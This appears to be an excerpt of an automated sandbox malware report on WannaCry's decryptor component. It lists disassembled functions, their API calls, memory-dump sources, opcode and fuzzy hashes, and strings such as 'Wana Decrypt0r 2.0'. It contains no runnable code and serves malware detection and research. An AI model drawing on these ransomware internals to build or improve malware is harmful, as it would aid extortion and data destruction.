                                                                                                                          • Associated: 00000016.00000002.2677995270.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678038079.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678071072.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678105353.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_22_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: fopen
                                                                                                                          • String ID: f.wnry
                                                                                                                          • API String ID: 1432627528-2448388194
                                                                                                                          • Opcode ID: cf48eaa19fa84c87f31c2d63a6b3fa47abbd49c5c0666401f46844b5b3827a14
                                                                                                                          • Instruction ID: 4eb239c0cb280e6f7c3b00bdc2b89ffa7a6027cf1f229c631d6900f059da94bf
                                                                                                                          • Opcode Fuzzy Hash: cf48eaa19fa84c87f31c2d63a6b3fa47abbd49c5c0666401f46844b5b3827a14
                                                                                                                          • Instruction Fuzzy Hash: CF410B311087415BE324DF3899417ABBBD4FB80321F144A3EF4E6B22C1DF789A088796
                                                                                                                          Function 0040B6A0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 83fileCOMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • CreateDirectoryA.KERNEL32(?,00000000,?,762F3310,00000000,00000428), ref: 0040B6B4
                                                                                                                          • DeleteFileA.KERNEL32(?), ref: 0040B6D9
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000016.00000002.2677946128.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000016.00000002.2677909479.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2677995270.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678038079.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678071072.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678105353.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_22_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: CreateDeleteDirectoryFile
                                                                                                                          • String ID: %s\%s
                                                                                                                          • API String ID: 3195586388-4073750446
                                                                                                                          • Opcode ID: 9867dcfa113bb228f6e7ce7fcc7c959ecb5fe08f48f21d4d20f526cefea80cd3
                                                                                                                          • Instruction ID: 62764616b0dad41b6f02366a4e891bd604a257d4ac44bdf0c04ae484a2ff6343
                                                                                                                          • Opcode Fuzzy Hash: 9867dcfa113bb228f6e7ce7fcc7c959ecb5fe08f48f21d4d20f526cefea80cd3
                                                                                                                          • Instruction Fuzzy Hash: 2F2108B620435067D620AB65EC81AEB779CEBC4324F44082EFD1892242E77D661D82FA
                                                                                                                          Function 0040D150 Relevance: 6.1, APIs: 4, Instructions: 122COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000016.00000002.2677946128.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000016.00000002.2677909479.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2677995270.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678038079.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678071072.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678105353.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_22_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: rand$srandtime
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 1946231456-0
                                                                                                                          • Opcode ID: aeda45b4266ec6acd211240a262b9f529a391165e32c1a7dc214254ed02393b1
                                                                                                                          • Instruction ID: 99a3411600cb7ade80f66248b35b99165d2bae15bbb14ca3cd699ef114e4807e
                                                                                                                          • Opcode Fuzzy Hash: aeda45b4266ec6acd211240a262b9f529a391165e32c1a7dc214254ed02393b1
                                                                                                                          • Instruction Fuzzy Hash: 6E411231A083454BD314DE69D885BABFBD4AFD4710F04893EE885973C2DA78D94987E3
                                                                                                                          Function 004108A0 Relevance: 6.1, APIs: 4, Instructions: 107fileCOMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000,FFFFFFFF,?,00000000,?,00411CAF,?,?,FFFFFFFF,?), ref: 004108FB
                                                                                                                          • SetFilePointer.KERNEL32(?,00000000,00000000,00000001,FFFFFFFF,?,00000000,?,00411CAF,?,?,FFFFFFFF,?), ref: 0041092C
                                                                                                                          • #823.MFC42(00000020,?,00411CAF,?,?,FFFFFFFF,?), ref: 0041093A
                                                                                                                          • SetFilePointer.KERNEL32(?,00000000,00000000,00000001,?,?), ref: 004109A2
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000016.00000002.2677946128.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000016.00000002.2677909479.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2677995270.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678038079.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678071072.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678105353.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_22_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: File$Pointer$#823Create
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 3407337251-0
                                                                                                                          • Opcode ID: 5b6d965423cb05d7ea7d52203198f533352c1688dc5c73679a86205e0e0c5deb
                                                                                                                          • Instruction ID: 085c1855c78cd49c3d24b3d31d21a090ac304bae7dbf1d621fd5eca193cafac9
                                                                                                                          • Opcode Fuzzy Hash: 5b6d965423cb05d7ea7d52203198f533352c1688dc5c73679a86205e0e0c5deb
                                                                                                                          • Instruction Fuzzy Hash: BD31A3712943418FE331CF29E84179BBBE1AB85720F14891EE1D597781D3B6A4C8CBA6
                                                                                                                          Function 00412250 Relevance: 6.1, APIs: 4, Instructions: 100COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • GetFileAttributesA.KERNEL32(?,?,?), ref: 00412264
                                                                                                                          • CreateDirectoryA.KERNEL32(?,00000000), ref: 00412272
                                                                                                                          • GetFileAttributesA.KERNEL32(00000000), ref: 00412338
                                                                                                                          • CreateDirectoryA.KERNEL32(?,00000000,?,?), ref: 0041234C
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000016.00000002.2677946128.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000016.00000002.2677909479.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2677995270.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678038079.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678071072.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678105353.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_22_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: AttributesCreateDirectoryFile
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 3401506121-0
                                                                                                                          • Opcode ID: 5edde3796adf685aed60d110adb647f247c117a4bec97746d5288a2958dab9aa
                                                                                                                          • Instruction ID: eaae320e7248a4b774ebe1124a4f316430e5356865ecc18a96ed259e18cc5035
                                                                                                                          • Opcode Fuzzy Hash: 5edde3796adf685aed60d110adb647f247c117a4bec97746d5288a2958dab9aa
                                                                                                                          • Instruction Fuzzy Hash: 6F310331204B0847C72889389D957FFBBC6ABD4320F544B3EF966C72C1DEB989588299
                                                                                                                          Function 00406A00 Relevance: 6.1, APIs: 4, Instructions: 70COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000016.00000002.2677946128.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000016.00000002.2677909479.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2677995270.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678038079.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678071072.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678105353.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_22_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: #3089$#4476
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 2870283385-0
                                                                                                                          • Opcode ID: 53d97fe879bd1ae3a70958cbaed72806608eb4448782c61a221ab90d014d582e
                                                                                                                          • Instruction ID: 793279239b1821bde48ff71d8c5d322d7df26b5d288dea54ba4f6719e02562de
                                                                                                                          • Opcode Fuzzy Hash: 53d97fe879bd1ae3a70958cbaed72806608eb4448782c61a221ab90d014d582e
                                                                                                                          • Instruction Fuzzy Hash: D91181323012018BC624EA59D584D7FB3A9EF89321B15842FE947E7391CB39ACA19B95
                                                                                                                          Function 0040D0A0 Relevance: 6.1, APIs: 4, Instructions: 64COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000016.00000002.2677946128.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000016.00000002.2677909479.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2677995270.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678038079.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678071072.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678105353.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_22_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: rand$srandtime
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 1946231456-0
                                                                                                                          • Opcode ID: bbdcb1e1a24d480e02c6f3989001f72fd3822a1270c55b374a5c1adf4e9cf230
                                                                                                                          • Instruction ID: 418ba94e1263f5c278544cd72932f8c5cb06cad23ebf9749a5f73f3a0ac0752c
                                                                                                                          • Opcode Fuzzy Hash: bbdcb1e1a24d480e02c6f3989001f72fd3822a1270c55b374a5c1adf4e9cf230
                                                                                                                          • Instruction Fuzzy Hash: CB113D3164935106D3207A2A6C02BAFAB949FE1728F04493FE9D9962C2C46C894E83F7
                                                                                                                          Function 00405180 Relevance: 6.1, APIs: 4, Instructions: 51COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • _mbscmp.MSVCRT ref: 00405191
                                                                                                                          • #860.MFC42(?), ref: 004051A1
                                                                                                                          • RedrawWindow.USER32(?,00000000,00000000,00000121), ref: 004051DE
                                                                                                                          • InvalidateRect.USER32(?,00000000,00000001), ref: 004051F2
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000016.00000002.2677946128.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000016.00000002.2677909479.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2677995270.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678038079.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678071072.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678105353.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_22_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: #860InvalidateRectRedrawWindow_mbscmp
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 497622568-0
                                                                                                                          • Opcode ID: 4aae586b1cfc2d6b37c47d983e66569639a31ec6a673fed4d94bf49cd6230326
                                                                                                                          • Instruction ID: cf498a414c54833703d22adddad9dcc08bc55e2fe29af9a848031684a7c2f2b5
                                                                                                                          • Opcode Fuzzy Hash: 4aae586b1cfc2d6b37c47d983e66569639a31ec6a673fed4d94bf49cd6230326
                                                                                                                          • Instruction Fuzzy Hash: 7B01D871700B00A7D6209765DC59FDBB7E9EF98702F00442EF746EB2C0C675E4018B68
                                                                                                                          Function 00412A00 Relevance: 6.0, APIs: 4, Instructions: 45COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000016.00000002.2677946128.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000016.00000002.2677909479.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2677995270.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678038079.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678071072.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678105353.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_22_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID:
                                                                                                                          • String ID:
                                                                                                                          • API String ID:
                                                                                                                          • Opcode ID: 8c2876bc683c79bd0f77c5504c849a1db55fe951b0604bd7b402bcddc95cd4ad
                                                                                                                          • Instruction ID: 94773d8abf21b8992377dbaff6472308c4204eb390e4227f2b12783aedecbb61
                                                                                                                          • Opcode Fuzzy Hash: 8c2876bc683c79bd0f77c5504c849a1db55fe951b0604bd7b402bcddc95cd4ad
                                                                                                                          • Instruction Fuzzy Hash: 070121B16016109BDA209F29EA417CBB3989F40354F08443BE545D7310F7F8E9E5CB99
                                                                                                                          Function 0040DAD0 Relevance: 6.0, APIs: 4, Instructions: 45networkCOMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000016.00000002.2677946128.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000016.00000002.2677909479.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2677995270.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678038079.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678071072.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678105353.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_22_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: closesocketsendsetsockoptshutdown
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 4063721217-0
                                                                                                                          • Opcode ID: b8ea9e4fb017428832e7fdcfab5aceec40e53c9ca13a03ff53aa9a0524c23656
                                                                                                                          • Instruction ID: 511c5ca045328faec3d78f5435f76df0282562355462c5d2c83a81ecee0c9610
                                                                                                                          • Opcode Fuzzy Hash: b8ea9e4fb017428832e7fdcfab5aceec40e53c9ca13a03ff53aa9a0524c23656
                                                                                                                          • Instruction Fuzzy Hash: 9D014075200B40ABD3208B28C849B97B7A5AF89721F808B2CF6A9962D0D7B4A4088795
                                                                                                                          Function 00404430 Relevance: 6.0, APIs: 4, Instructions: 44COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000016.00000002.2677946128.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000016.00000002.2677909479.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2677995270.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678038079.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678071072.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678105353.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_22_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: #2379$CursorEventMouseTrack
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 2186836335-0
                                                                                                                          • Opcode ID: 8cae4badaefa13b91853eadf55a8840a780c3bb417d72a3b214d508dff938200
                                                                                                                          • Instruction ID: d4ee5e4a134dc88e0fb0520758ee2c50d42c0b6297011b3ab606eb820e3435c7
                                                                                                                          • Opcode Fuzzy Hash: 8cae4badaefa13b91853eadf55a8840a780c3bb417d72a3b214d508dff938200
                                                                                                                          • Instruction Fuzzy Hash: 1501B5B46047209BC714EF1895047EFBBD46FC4718F40881EEAC557382E6B898058B99
                                                                                                                          Function 00404CF0 Relevance: 6.0, APIs: 4, Instructions: 37COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • #2414.MFC42(?,?,?,?,?,?,?,00404CD8), ref: 00404D2C
                                                                                                                          • #2414.MFC42(?,?,?,?,?,?,?,00404CD8), ref: 00404D4B
                                                                                                                          • #800.MFC42(?,?,?,?,?,?,?,00404CD8), ref: 00404D5E
                                                                                                                          • #641.MFC42(?,?,?,?,?,?,?,00404CD8), ref: 00404D6D
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000016.00000002.2677946128.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000016.00000002.2677909479.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2677995270.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678038079.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678071072.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678105353.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_22_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: #2414$#641#800
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 2580907805-0
                                                                                                                          • Opcode ID: 16959137cf9ed8865fc6a78509c90b23480716c09409454935714356ef62aba6
                                                                                                                          • Instruction ID: 6757f658c1b9d10fae8a918e1fd1a20a9830f850e3759812b0851a74ca26fea9
                                                                                                                          • Opcode Fuzzy Hash: 16959137cf9ed8865fc6a78509c90b23480716c09409454935714356ef62aba6
                                                                                                                          • Instruction Fuzzy Hash: F3012975508B42CBC300DF19C54538AFBE8BBE4710F54491EE095877A1D7F851998BD6
                                                                                                                          Function 00404170 Relevance: 6.0, APIs: 4, Instructions: 34COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • #2414.MFC42(?,?,?,?,?,?,?,00404158), ref: 004041B2
                                                                                                                          • #800.MFC42(?,?,?,?,?,?,?,00404158), ref: 004041C5
                                                                                                                          • #800.MFC42(?,?,?,?,?,?,?,00404158), ref: 004041D2
                                                                                                                          • #795.MFC42(?,?,?,?,?,?,?,00404158), ref: 004041E1
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000016.00000002.2677946128.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000016.00000002.2677909479.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2677995270.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678038079.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678071072.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678105353.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_22_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: #800$#2414#795
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 932896513-0
                                                                                                                          • Opcode ID: de7d764f310d2b07daedf415afe273c0a0adcf5a3115b404c86b6cccc177a748
                                                                                                                          • Instruction ID: 4f5e1f32c4d0deb5ef0c4e05178b03e64e757a210687b4ed5005f9af419c08f7
                                                                                                                          • Opcode Fuzzy Hash: de7d764f310d2b07daedf415afe273c0a0adcf5a3115b404c86b6cccc177a748
                                                                                                                          • Instruction Fuzzy Hash: A3018F74108792CFC300DF19C14138AFFE4ABA4720F54491EE091833A2D7F85198CBE6
                                                                                                                          Function 00402E00 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 57COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • #825.MFC42(?,?,00000000,?,?,0040276A,?,?,?), ref: 00402E44
                                                                                                                          • #825.MFC42(?,?,00000000,?,?,0040276A,?,?,?), ref: 00402E56
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000016.00000002.2677946128.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000016.00000002.2677909479.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2677995270.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678038079.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678071072.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678105353.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_22_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: #825
                                                                                                                          • String ID: j'@
                                                                                                                          • API String ID: 41483190-370697233
                                                                                                                          • Opcode ID: 9c0cb0aced43a296d20ff8ffc4d70ac1f7ba505f3886b3a42eb6c6f4aca8c5be
                                                                                                                          • Instruction ID: 592289367714aa5b9ee555d1ba3af08658367c911d5aba0fbb12e5c1e921281d
                                                                                                                          • Opcode Fuzzy Hash: 9c0cb0aced43a296d20ff8ffc4d70ac1f7ba505f3886b3a42eb6c6f4aca8c5be
                                                                                                                          • Instruction Fuzzy Hash: 771185B62046008FC724CF19D18096BFBE6FF99320714893EE29A97380D376EC05CBA5
                                                                                                                          Function 00407650 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • #2379.MFC42 ref: 00407692
                                                                                                                            • Part of subcall function 004076A0: time.MSVCRT(00000000,?,?,?), ref: 004076DA
                                                                                                                          • #2379.MFC42(00000001), ref: 00407667
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000016.00000002.2677946128.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000016.00000002.2677909479.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2677995270.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678038079.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678071072.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678105353.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_22_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: #2379$time
                                                                                                                          • String ID: Wana Decrypt0r 2.0
                                                                                                                          • API String ID: 2017816395-4201229886
                                                                                                                          • Opcode ID: 6fa7a2fc7c6a80e94799593ebee71b884435da4c0666664eaea2c240bbcf3164
                                                                                                                          • Instruction ID: 44448bb0997210edcc5ff830349606876b09c28d76a722c823a6afa91302379c
                                                                                                                          • Opcode Fuzzy Hash: 6fa7a2fc7c6a80e94799593ebee71b884435da4c0666664eaea2c240bbcf3164
                                                                                                                          • Instruction Fuzzy Hash: 58E08631B0491017D6117B19A942B9F51845B60724F104C3FF506FA2C2E96E7D9183DF

                                                                                                                          Execution Graph

                                                                                                                          Execution Coverage:4.5%
                                                                                                                          Dynamic/Decrypted Code Coverage:0%
                                                                                                                          Signature Coverage:2.4%
                                                                                                                          Total number of Nodes:2000
                                                                                                                          Total number of Limit Nodes:282
